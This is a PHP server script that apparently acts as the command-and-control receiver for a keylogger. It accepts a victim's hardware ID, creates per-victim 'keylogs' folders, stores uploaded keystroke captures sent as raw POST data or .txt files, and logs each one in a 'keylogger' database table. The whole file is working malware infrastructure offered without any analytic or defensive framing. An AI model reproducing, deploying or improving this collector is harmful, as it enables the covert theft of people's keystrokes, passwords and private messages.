<?php
// Enable error reporting but don't log to file
error_reporting(E_ALL);
ini_set('display_errors', 1);
include("config.php");

// Function to safely handle database queries
function safe_query($conn, $query) {
    $result = mysqli_query($conn, $query);
    if (!$result) {
        error_log("Database query error: " . mysqli_error($conn) . " Query: " . $query);
        return false;
    }
    return $result;
}

function safe_id($data) {
    $data = trim($data);
    $data = strip_tags($data);
    $data = htmlspecialchars($data);
    $data = addslashes($data);
    return $data;
}

$hwid = isset($_GET['hwid']) ? safe_id($_GET['hwid']) : null;

if(isset($hwid)) {
    if (!preg_match("/^[-a-zA-Z-0-9]*$/",$hwid)) {
        error_log("Invalid HWID format: $hwid");
        exit();
    } else {
        $pwd = getcwd() . "/upload/";
        
        // Create upload directory if it doesn't exist
        if (!file_exists($pwd)) {
            if (!mkdir($pwd, 0777, true)) {
                error_log("Failed to create upload directory: $pwd");
                exit();
            }
        }

        // Create HWID-specific directory
        $hwid_dir = $pwd . $hwid;
        if (!file_exists($hwid_dir)) {
            if (!mkdir($hwid_dir, 0777, true)) {
                error_log("Failed to create HWID directory: $hwid_dir");
                exit();
            }
        }

        $folder = "/keylogs/";
        if (!file_exists($hwid_dir . $folder)) {
            if (!mkdir($hwid_dir . $folder, 0777, true)) {
                error_log("Failed to create keylogs directory for HWID: $hwid");
                exit();
            }
        }
        
        $allowed_extensions = array("txt","TXT","TxT","tXt","TXt");
        $file_uploaded = false;
        $destination = "";

        // First try to handle raw POST data if it looks like a file
        $raw_data = file_get_contents("php://input");
        if (!empty($raw_data) && strlen($raw_data) > 100) {
            $destination = "upload/$hwid/$folder" . date('Y-m-d_H-i-s') . ".txt";
            if (file_put_contents($destination, $raw_data)) {
                $file_uploaded = true;
            } else {
                error_log("Failed to save raw data for HWID: $hwid");
            }
        }

        // If raw data processing failed, try regular file upload
        if (!$file_uploaded && isset($_FILES["file"]) && $_FILES["file"]["error"] == 0) {
            $temp = explode(".", $_FILES["file"]["name"]);
            $file_extension = end($temp);
            
            if (in_array($file_extension, $allowed_extensions)) {
                $destination = "upload/$hwid/$folder" . basename($_FILES['file']['name']);
                if (move_uploaded_file($_FILES["file"]["tmp_name"], $destination)) {
                    $file_uploaded = true;
                } else {
                    error_log("Failed to move uploaded file for HWID: $hwid");
                }
            } else {
                error_log("Invalid file extension for HWID: $hwid - $file_extension");
            }
        }

        if ($file_uploaded) {
            $d = date('Y/m/d h:i:s a', time());
            $query = "INSERT INTO `keylogger` (`HWID`, `File_keylog`, `Keylog_date`) VALUES (?, ?, ?)";
            $stmt = mysqli_prepare($condb, $query);
            mysqli_stmt_bind_param($stmt, "sss", $hwid, $destination, $d);
            
            if (!mysqli_stmt_execute($stmt)) {
                error_log("Failed to insert keylog record for HWID: $hwid");
            }
            mysqli_stmt_close($stmt);
        }
    }
}
?>